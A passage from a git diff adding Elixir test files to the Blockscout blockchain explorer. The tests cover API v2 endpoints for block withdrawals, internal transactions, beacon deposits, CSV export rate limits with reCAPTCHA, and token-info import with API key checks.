"/api/v2/blocks/#{block.hash}/transactions", response_1["next_page_params"]) + assert response_2 = json_response(request_2, 200) + assert response_2 == response_2nd_page + end + end + + describe "/blocks/{block_hash_or_number}/withdrawals" do + test "return 422 on invalid parameter", %{conn: conn} do + request_1 = get(conn, "/api/v2/blocks/0x123123/withdrawals") + assert %{"message" => "Invalid hash"} = json_response(request_1, 422) + + request_2 = get(conn, "/api/v2/blocks/123qwe/withdrawals") + assert %{"message" => "Invalid number"} = json_response(request_2, 422) + end + + test "return 404 on non existing block", %{conn: conn} do + block = build(:block) + + request_1 = get(conn, "/api/v2/blocks/#{block.number}/withdrawals") + assert %{"message" => "Not found"} = json_response(request_1, 404) + + request_2 = get(conn, "/api/v2/blocks/#{block.hash}/withdrawals") + assert %{"message" => "Not found"} = json_response(request_2, 404) + end + + test "get empty list", %{conn: conn} do + block = insert(:block) + + request = get(conn, "/api/v2/blocks/#{block.number}/withdrawals") + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + + request = get(conn, "/api/v2/blocks/#{block.hash}/withdrawals") + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "get withdrawals", %{conn: conn} do + block = insert(:block, withdrawals: insert_list(3, :withdrawal)) + + [withdrawal | _] = Enum.reverse(block.withdrawals) + + request = get(conn, "/api/v2/blocks/#{block.number}/withdrawals") + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 3 + assert response["next_page_params"] == nil + compare_item(withdrawal, Enum.at(response["items"], 0)) + + request = get(conn, "/api/v2/blocks/#{block.hash}/withdrawals") + assert response_1 = json_response(request, 200) + assert response_1 == response + end + + test "get withdrawals with working next_page_params", %{conn: conn} do + block = insert(:block, withdrawals: insert_list(51, :withdrawal)) + + request = get(conn, "/api/v2/blocks/#{block.number}/withdrawals") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/blocks/#{block.number}/withdrawals", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, block.withdrawals) + + request_1 = get(conn, "/api/v2/blocks/#{block.hash}/withdrawals") + assert response_1 = json_response(request_1, 200) + + assert response_1 == response + + request_2 = get(conn, "/api/v2/blocks/#{block.hash}/withdrawals", response_1["next_page_params"]) + assert response_2 = json_response(request_2, 200) + assert response_2 == response_2nd_page + end + end + + describe "/blocks/{block_hash_or_number}/internal-transactions" do + test "returns 422 on invalid parameter", %{conn: conn} do + request_1 = get(conn, "/api/v2/blocks/0x123123/internal-transactions") + assert %{"message" => "Invalid hash"} = json_response(request_1, 422) + + request_2 = get(conn, "/api/v2/blocks/123qwe/internal-transactions") + assert %{"message" => "Invalid number"} = json_response(request_2, 422) + end + + test "returns 404 on non existing block", %{conn: conn} do + block = build(:block) + + request_1 = get(conn, "/api/v2/blocks/#{block.number}/internal-transactions") + assert %{"message" => "Not found"} = json_response(request_1, 404) + + request_2 = get(conn, "/api/v2/blocks/#{block.hash}/internal-transactions") + assert %{"message" => "Not found"} = json_response(request_2, 404) + end + + test "returns empty list", %{conn: conn} do + block = insert(:block) + + request = get(conn, "/api/v2/blocks/#{block.hash}/internal-transactions") + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + + request = get(conn, "/api/v2/blocks/#{block.number}/internal-transactions") + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + end + + test "can paginate internal transactions", %{conn: conn} do + block = insert(:block) + + request = get(conn, "/api/v2/blocks/#{block.hash}/internal-transactions") + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + + transaction = + :transaction + |> insert() + |> with_block(block) + + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 0 + ) + + internal_transactions = + 51..1 + |> Enum.map(fn index -> + transaction = + :transaction + |> insert() + |> with_block(block) + + insert(:internal_transaction, + transaction: transaction, + index: index, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: index + ) + end) + + request = get(conn, "/api/v2/blocks/#{block.hash}/internal-transactions") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/blocks/#{block.hash}/internal-transactions", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, internal_transactions) + end + end + + describe "blocks/{block_hash_or_number}/beacon/deposits" do + if Application.compile_env(:explorer, :chain_type) == :ethereum do + test "get 404 on non-existing block", %{conn: conn} do + block = build(:block) + + request = get(conn, "/api/v2/blocks/#{block.hash}/beacon/deposits") + json_response(request, 404) + end + + test "get 422 on invalid block", %{conn: conn} do + request_1 = get(conn, "/api/v2/blocks/0x123123/beacon/deposits") + assert %{"message" => "Invalid hash"} = json_response(request_1, 422) + + request_2 = get(conn, "/api/v2/blocks/123qwe/beacon/deposits") + assert %{"message" => "Invalid number"} = json_response(request_2, 422) + end + + test "get deposits", %{conn: conn} do + block = insert(:block) + + deposits = insert_list(51, :beacon_deposit, block: block) + + insert(:beacon_deposit) + + request = get(conn, "/api/v2/blocks/#{block.hash}/beacon/deposits") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/blocks/#{block.hash}/beacon/deposits", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, deposits) + end + else + test "returns an error about chain type", %{conn: conn} do + block = insert(:block) + request = get(conn, "/api/v2/blocks/#{block.hash}/beacon/deposits") + assert response = json_response(request, 404) + assert %{"message" => "Endpoint not available for current chain type"} = response + end + end + end + + defp compare_item(%Block{} = block, json) do + assert to_string(block.hash) == json["hash"] + assert block.number == json["height"] + end + + defp compare_item(%Transaction{} = transaction, json) do + assert to_string(transaction.hash) == json["hash"] + assert transaction.block_number == json["block_number"] + assert to_string(transaction.value.value) == json["value"] + assert Address.checksum(transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(transaction.to_address_hash) == json["to"]["hash"] + end + + defp compare_item(%Withdrawal{} = withdrawal, json) do + assert withdrawal.index == json["index"] + end + + defp compare_item(%InternalTransaction{} = internal_transaction, json) do + assert internal_transaction.block_number == json["block_number"] + assert to_string(internal_transaction.gas) == json["gas_limit"] + assert internal_transaction.index == json["index"] + assert to_string(internal_transaction.transaction_hash) == json["transaction_hash"] + assert Address.checksum(internal_transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(internal_transaction.to_address_hash) == json["to"]["hash"] + end + + defp compare_item(%BeaconDeposit{} = deposit, json) do + index = deposit.index + transaction_hash = to_string(deposit.transaction_hash) + block_hash = to_string(deposit.block_hash) + block_number = deposit.block_number + pubkey = to_string(deposit.pubkey) + withdrawal_credentials = to_string(deposit.withdrawal_credentials) + signature = to_string(deposit.signature) + from_address_hash = Address.checksum(deposit.from_address_hash) + + if deposit.withdrawal_address_hash do + withdrawal_address_hash = Address.checksum(deposit.withdrawal_address_hash) + + assert %{ + "index" => ^index, + "transaction_hash" => ^transaction_hash, + "block_hash" => ^block_hash, + "block_number" => ^block_number, + "pubkey" => ^pubkey, + "withdrawal_credentials" => ^withdrawal_credentials, + "withdrawal_address" => %{"hash" => ^withdrawal_address_hash}, + "signature" => ^signature, + "from_address" => %{"hash" => ^from_address_hash} + } = json + else + assert %{ + "index" => ^index, + "transaction_hash" => ^transaction_hash, + "block_hash" => ^block_hash, + "block_number" => ^block_number, + "pubkey" => ^pubkey, + "withdrawal_credentials" => ^withdrawal_credentials, + "withdrawal_address" => nil, + "signature" => ^signature, + "from_address" => %{"hash" => ^from_address_hash} + } = json + end + end + + defp check_paginated_response(first_page_resp, second_page_resp, list) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(list, 50), Enum.at(first_page_resp["items"], 0)) + compare_item(Enum.at(list, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(list, 0), Enum.at(second_page_resp["items"], 0)) + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/config_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/config_controller_test.exs new file mode 100644 index 000000000000..eb55d1225b1b --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/config_controller_test.exs @@ -0,0 +1,22 @@ +defmodule BlockScoutWeb.API.V2.ConfigControllerTest do + use BlockScoutWeb.ConnCase + + describe "/config/backend-version" do + test "get json rps url if set", %{conn: conn} do + version = "v6.3.0-beta" + Application.put_env(:block_scout_web, :version, version) + + request = get(conn, "/api/v2/config/backend-version") + + assert %{"backend_version" => ^version} = json_response(request, 200) + end + + test "get nil backend version if not set", %{conn: conn} do + Application.put_env(:block_scout_web, :version, nil) + + request = get(conn, "/api/v2/config/backend-version") + + assert %{"backend_version" => nil} = json_response(request, 200) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/csv_export_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/csv_export_controller_test.exs new file mode 100644 index 000000000000..77b938dcb183 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/csv_export_controller_test.exs @@ -0,0 +1,573 @@ +defmodule BlockScoutWeb.Api.V2.CsvExportControllerTest do + use BlockScoutWeb.ConnCase, async: true + use ExUnit.Case, async: false + alias Explorer.Chain.Address + + import Mox + + setup :verify_on_exit! + + describe "GET token-transfers-csv/2" do + setup do + csv_setup() + end + + test "do not export token transfers to csv after rate limit is reached (1 per hour) without recaptcha recaptcha_response provided", + %{conn: conn} do + address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + insert(:token_transfer, transaction: transaction, from_address: address, block_number: transaction.block_number) + insert(:token_transfer, transaction: transaction, to_address: address, block_number: transaction.block_number) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + conn = + conn + |> get("/api/v2/addresses/#{Address.checksum(address.hash)}/token-transfers/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + + conn = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/addresses/#{Address.checksum(address.hash)}/token-transfers/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 429 + end + + test "do not export token transfers to csv after rate limit is reached without recaptcha passed", %{ + conn: conn, + v2_secret_key: recaptcha_secret_key + } do + expected_body = "secret=#{recaptcha_secret_key}&response=123" + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{body: ^expected_body}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(%{"success" => false}) + }} + end + ) + + address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + insert(:token_transfer, transaction: transaction, from_address: address, block_number: transaction.block_number) + insert(:token_transfer, transaction: transaction, to_address: address, block_number: transaction.block_number) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + conn = + get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}/token-transfers/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + + conn = + Phoenix.ConnTest.build_conn() + |> put_req_header("recaptcha-v2-response", "123") + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/addresses/#{Address.checksum(address.hash)}/token-transfers/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 429 + end + + test "exports token transfers to csv after rate limit is reached without recaptcha if recaptcha is disabled", %{ + conn: conn + } do + init_config = Application.get_env(:block_scout_web, :recaptcha) + Application.put_env(:block_scout_web, :recaptcha, is_disabled: true) + + address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + insert(:token_transfer, transaction: transaction, from_address: address, block_number: transaction.block_number) + insert(:token_transfer, transaction: transaction, to_address: address, block_number: transaction.block_number) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + conn = + get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}/token-transfers/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 4 + + conn = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/addresses/#{Address.checksum(address.hash)}/token-transfers/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 4 + + Application.put_env(:block_scout_web, :recaptcha, init_config) + end + + test "exports token transfers to csv", %{conn: conn, v2_secret_key: recaptcha_secret_key} do + expected_body = "secret=#{recaptcha_secret_key}&response=123" + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{body: ^expected_body}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "success" => true, + "hostname" => Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:host] + }) + }} + end + ) + + address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + insert(:token_transfer, transaction: transaction, from_address: address, block_number: transaction.block_number) + insert(:token_transfer, transaction: transaction, to_address: address, block_number: transaction.block_number) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + conn = + get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}/token-transfers/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 4 + + conn = + Phoenix.ConnTest.build_conn() + |> put_req_header("recaptcha-v2-response", "123") + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/addresses/#{Address.checksum(address.hash)}/token-transfers/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 4 + end + end + + describe "GET transactions_csv/2" do + setup do + csv_setup() + end + + test "download csv file with transactions", %{conn: conn, v2_secret_key: recaptcha_secret_key} do + expected_body = "secret=#{recaptcha_secret_key}&response=123" + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{body: ^expected_body}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "success" => true, + "hostname" => Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:host] + }) + }} + end + ) + + address = insert(:address) + + :transaction + |> insert(from_address: address) + |> with_block() + + :transaction + |> insert(from_address: address) + |> with_block() + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + conn = + get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}/transactions/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 4 + + conn = + Phoenix.ConnTest.build_conn() + |> put_req_header("recaptcha-v2-response", "123") + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/addresses/#{Address.checksum(address.hash)}/transactions/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 4 + end + end + + describe "GET internal_transactions_csv/2" do + setup do + csv_setup() + end + + test "download csv file with internal transactions", %{conn: conn, v2_secret_key: recaptcha_secret_key} do + expected_body = "secret=#{recaptcha_secret_key}&response=123" + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{body: ^expected_body}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "success" => true, + "hostname" => Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:host] + }) + }} + end + ) + + address = insert(:address) + + transaction_1 = + :transaction + |> insert() + |> with_block() + + transaction_2 = + :transaction + |> insert() + |> with_block() + + transaction_3 = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction, + index: 3, + transaction: transaction_1, + from_address: address, + block_number: transaction_1.block_number, + block_hash: transaction_1.block_hash, + block_index: 0, + transaction_index: transaction_1.index + ) + + insert(:internal_transaction, + index: 1, + transaction: transaction_2, + to_address: address, + block_number: transaction_2.block_number, + block_hash: transaction_2.block_hash, + block_index: 1, + transaction_index: transaction_2.index + ) + + insert(:internal_transaction, + index: 2, + transaction: transaction_3, + created_contract_address: address, + block_number: transaction_3.block_number, + block_hash: transaction_3.block_hash, + block_index: 2, + transaction_index: transaction_3.index + ) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :day) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + conn = + get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}/internal-transactions/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 5 + + conn = + Phoenix.ConnTest.build_conn() + |> put_req_header("recaptcha-v2-response", "123") + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/addresses/#{Address.checksum(address.hash)}/internal-transactions/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 5 + end + end + + describe "GET logs_csv/2" do + setup do + csv_setup() + end + + test "download csv file with logs", %{conn: conn, v2_secret_key: recaptcha_secret_key} do + expected_body = "secret=#{recaptcha_secret_key}&response=123" + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{body: ^expected_body}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "success" => true, + "hostname" => Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:host] + }) + }} + end + ) + + address = insert(:address) + + transaction_1 = + :transaction + |> insert() + |> with_block() + + insert(:log, + address: address, + index: 3, + transaction: transaction_1, + block: transaction_1.block, + block_number: transaction_1.block_number + ) + + transaction_2 = + :transaction + |> insert() + |> with_block() + + insert(:log, + address: address, + index: 1, + transaction: transaction_2, + block: transaction_2.block, + block_number: transaction_2.block_number + ) + + transaction_3 = + :transaction + |> insert() + |> with_block() + + insert(:log, + address: address, + index: 2, + transaction: transaction_3, + block: transaction_3.block, + block_number: transaction_3.block_number + ) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + conn = + get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}/logs/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 5 + + conn = + Phoenix.ConnTest.build_conn() + |> put_req_header("recaptcha-v2-response", "123") + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/addresses/#{Address.checksum(address.hash)}/logs/csv", %{ + "address_id" => Address.checksum(address.hash), + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 5 + end + + test "handles null filter", %{conn: conn} do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:log, + address: address, + index: 3, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + conn = + get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}/logs/csv", %{ + "address_id" => Address.checksum(address.hash), + "filter_type" => "null", + "filter_value" => "null", + "from_period" => from_period, + "to_period" => to_period + }) + + assert conn.status == 200 + assert conn.resp_body |> String.split("\n") |> Enum.count() == 3 + end + end + + defp csv_setup() do + original_config = :persistent_term.get(:rate_limit_config) + old_recaptcha_env = Application.get_env(:block_scout_web, :recaptcha) + original_api_rate_limit = Application.get_env(:block_scout_web, :api_rate_limit) + + v2_secret_key = "v2_secret_key" + v3_secret_key = "v3_secret_key" + + Application.put_env(:block_scout_web, :recaptcha, + v2_secret_key: v2_secret_key, + v3_secret_key: v3_secret_key, + is_disabled: false + ) + + Application.put_env(:block_scout_web, :api_rate_limit, Keyword.put(original_api_rate_limit, :disabled, false)) + + config = %{ + static_match: %{}, + wildcard_match: %{}, + parametrized_match: %{ + ["api", "v2", "addresses", ":param", "election-rewards", "csv"] => %{ + ip: %{period: 3_600_000, limit: 1}, + recaptcha_to_bypass_429: true, + bucket_key_prefix: "api/v2/addresses/:param/election-rewards/csv_", + isolate_rate_limit?: true + }, + ["api", "v2", "addresses", ":param", "internal-transactions", "csv"] => %{ + ip: %{period: 3_600_000, limit: 1}, + recaptcha_to_bypass_429: true, + bucket_key_prefix: "api/v2/addresses/:param/internal-transactions/csv_", + isolate_rate_limit?: true + }, + ["api", "v2", "addresses", ":param", "logs", "csv"] => %{ + ip: %{period: 3_600_000, limit: 1}, + recaptcha_to_bypass_429: true, + bucket_key_prefix: "api/v2/addresses/:param/logs/csv_", + isolate_rate_limit?: true + }, + ["api", "v2", "addresses", ":param", "token-transfers", "csv"] => %{ + ip: %{period: 3_600_000, limit: 1}, + recaptcha_to_bypass_429: true, + bucket_key_prefix: "api/v2/addresses/:param/token-transfers/csv_", + isolate_rate_limit?: true + }, + ["api", "v2", "addresses", ":param", "transactions", "csv"] => %{ + ip: %{period: 3_600_000, limit: 1}, + recaptcha_to_bypass_429: true, + bucket_key_prefix: "api/v2/addresses/:param/transactions/csv_", + isolate_rate_limit?: true + }, + ["api", "v2", "tokens", ":param", "holders", "csv"] => %{ + ip: %{period: 3_600_000, limit: 1}, + recaptcha_to_bypass_429: true, + bucket_key_prefix: "api/v2/tokens/:param/holders/csv_", + isolate_rate_limit?: true + } + } + } + + :persistent_term.put(:rate_limit_config, config) + + on_exit(fn -> + :persistent_term.put(:rate_limit_config, original_config) + Application.put_env(:block_scout_web, :recaptcha, old_recaptcha_env) + :ets.delete_all_objects(BlockScoutWeb.RateLimit.Hammer.ETS) + Application.put_env(:block_scout_web, :api_rate_limit, original_api_rate_limit) + end) + + {:ok, %{v2_secret_key: v2_secret_key, v3_secret_key: v3_secret_key}} + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/ethereum/deposit_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/ethereum/deposit_controller_test.exs new file mode 100644 index 000000000000..62b6a509afbb --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/ethereum/deposit_controller_test.exs @@ -0,0 +1,70 @@ +defmodule BlockScoutWeb.Api.V2.Ethereum.DepositControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.Repo + + if Application.compile_env(:explorer, :chain_type) == :ethereum do + describe "/beacon/deposits" do + test "get empty list when no deposits exist", %{conn: conn} do + request = get(conn, "/api/v2/beacon/deposits") + assert response = json_response(request, 200) + assert %{"items" => []} = response + end + + test "get deposits", %{conn: conn} do + deposits = insert_list(51, :beacon_deposit) + + request = get(conn, "/api/v2/beacon/deposits") + assert response = json_response(request, 200) + assert %{"items" => deposits_json, "next_page_params" => next_page_params} = response + request_2nd_page = get(conn, "/api/v2/beacon/deposits", next_page_params) + assert response_2nd_page = json_response(request_2nd_page, 200) + assert %{"items" => deposits_json_2nd_page} = response_2nd_page + + assert deposits_json + |> Kernel.++(deposits_json_2nd_page) + |> Enum.map(&{&1["index"], &1["transaction_hash"], &1["block_hash"]}) == + deposits + |> Enum.reverse() + |> Enum.map(&{&1.index, to_string(&1.transaction_hash), to_string(&1.block_hash)}) + end + end + + describe "/beacon/deposits/count" do + test "returns 0 when no deposits exist", %{conn: conn} do + request = get(conn, "/api/v2/beacon/deposits/count") + assert response = json_response(request, 200) + assert %{"deposits_count" => 0} = response + end + + test "returns deposit count", %{conn: conn} do + Repo.delete_all(Explorer.Chain.Beacon.Deposit) + ExMachina.Sequence.reset("beacon_deposit_index") + + insert_list(3, :beacon_deposit) + + deposits_count = Repo.aggregate(Explorer.Chain.Beacon.Deposit, :count, :index) + + request = get(conn, "/api/v2/beacon/deposits/count") + assert response = json_response(request, 200) + assert %{"deposits_count" => ^deposits_count} = response + end + end + else + describe "/beacon/deposits" do + test "returns an error about chain type", %{conn: conn} do + request = get(conn, "/api/v2/beacon/deposits/count") + assert response = json_response(request, 404) + assert %{"message" => "Endpoint not available for current chain type"} = response + end + end + + describe "/beacon/deposits/count" do + test "returns an error about chain type", %{conn: conn} do + request = get(conn, "/api/v2/beacon/deposits/count") + assert response = json_response(request, 404) + assert %{"message" => "Endpoint not available for current chain type"} = response + end + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/import_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/import_controller_test.exs new file mode 100644 index 000000000000..1c4d6d72e5b7 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/import_controller_test.exs @@ -0,0 +1,166 @@ +defmodule BlockScoutWeb.API.V2.ImportControllerTest do + use BlockScoutWeb.ConnCase + + import Mox + + describe "POST /import/token-info" do + test "return error on misconfigured api key", %{conn: conn} do + request = + post(conn, "/api/v2/import/token-info", %{ + "iconUrl" => "abc", + "tokenAddress" => build(:address).hash, + "tokenSymbol" => "", + "tokenName" => "" + }) + + assert %{"message" => "API key not configured on the server"} = json_response(request, 403) + end + + test "return error on wrong api key", %{conn: conn} do + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, "abc") + body = %{"iconUrl" => "abc", "tokenAddress" => build(:address).hash, "tokenSymbol" => "", "tokenName" => ""} + request = post(conn, "/api/v2/import/token-info", Map.merge(body, %{"api_key" => "123"})) + + assert %{"message" => "Wrong API key"} = json_response(request, 401) + + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, nil) + end + + test "do not import token info with wrong url", %{conn: conn} do + api_key = "abc123" + icon_url = "icon_url" + + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, api_key) + + token = insert(:token, icon_url: nil) + token_address = to_string(token.contract_address_hash) + + body = %{"iconUrl" => icon_url, "tokenAddress" => token_address, "tokenSymbol" => "", "tokenName" => ""} + + request = post(conn, "/api/v2/import/token-info", Map.merge(body, %{"api_key" => api_key})) + assert %{"message" => "Success"} = json_response(request, 200) + + request = get(conn, "/api/v2/tokens/#{token_address}") + + name = token.name + symbol = token.symbol + assert %{"icon_url" => nil, "name" => ^name, "symbol" => ^symbol} = json_response(request, 200) + + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, nil) + end + + test "success import token info", %{conn: conn} do + api_key = "abc123" + icon_url = "http://example.com/image?a=0&b=1" + token_symbol = "UPD" + token_name = "UPDATED" + + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, api_key) + + token_address = to_string(insert(:token).contract_address_hash) + + body = %{ + "iconUrl" => icon_url, + "tokenAddress" => token_address, + "tokenSymbol" => token_symbol, + "tokenName" => token_name + } + + request = post(conn, "/api/v2/import/token-info", Map.merge(body, %{"api_key" => api_key})) + assert %{"message" => "Success"} = json_response(request, 200) + + request = get(conn, "/api/v2/tokens/#{token_address}") + assert %{"icon_url" => ^icon_url, "name" => ^token_name, "symbol" => ^token_symbol} = json_response(request, 200) + + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, nil) + end + end + + describe "DELETE /import/token-info" do + test "return error on misconfigured api key", %{conn: conn} do + request = + delete(conn, "/api/v2/import/token-info", %{ + "token_address_hash" => build(:address).hash + }) + + assert %{"message" => "API key not configured on the server"} = json_response(request, 403) + end + + test "return error on wrong api key", %{conn: conn} do + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, "abc") + body = %{"token_address_hash" => build(:address).hash} + request = delete(conn, "/api/v2/import/token-info", Map.merge(body, %{"api_key" => "123"})) + + assert %{"message" => "Wrong API key"} = json_response(request, 401) + + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, nil) + end + + test "success delete token info", %{conn: conn} do + insert(:token, + name: "old", + symbol: "OLD", + decimals: 10, + cataloged: true, + updated_at: DateTime.add(DateTime.utc_now(), -:timer.hours(50), :millisecond) + ) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + 1, + fn requests, _opts -> + {:ok, + Enum.map(requests, fn + %{id: id, method: "eth_call", params: [%{data: "0x313ce567", to: _}, "latest"]} -> + %{ + id: id, + result: "0x0000000000000000000000000000000000000000000000000000000000000012" + } + + %{id: id, method: "eth_call", params: [%{data: "0x06fdde03", to: _}, "latest"]} -> + %{ + id: id, + result: + "0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000096e657720746f6b656e0000000000000000000000000000000000000000000000" + } + + %{id: id, method: "eth_call", params: [%{data: "0x95d89b41", to: _}, "latest"]} -> + %{ + id: id, + result: + 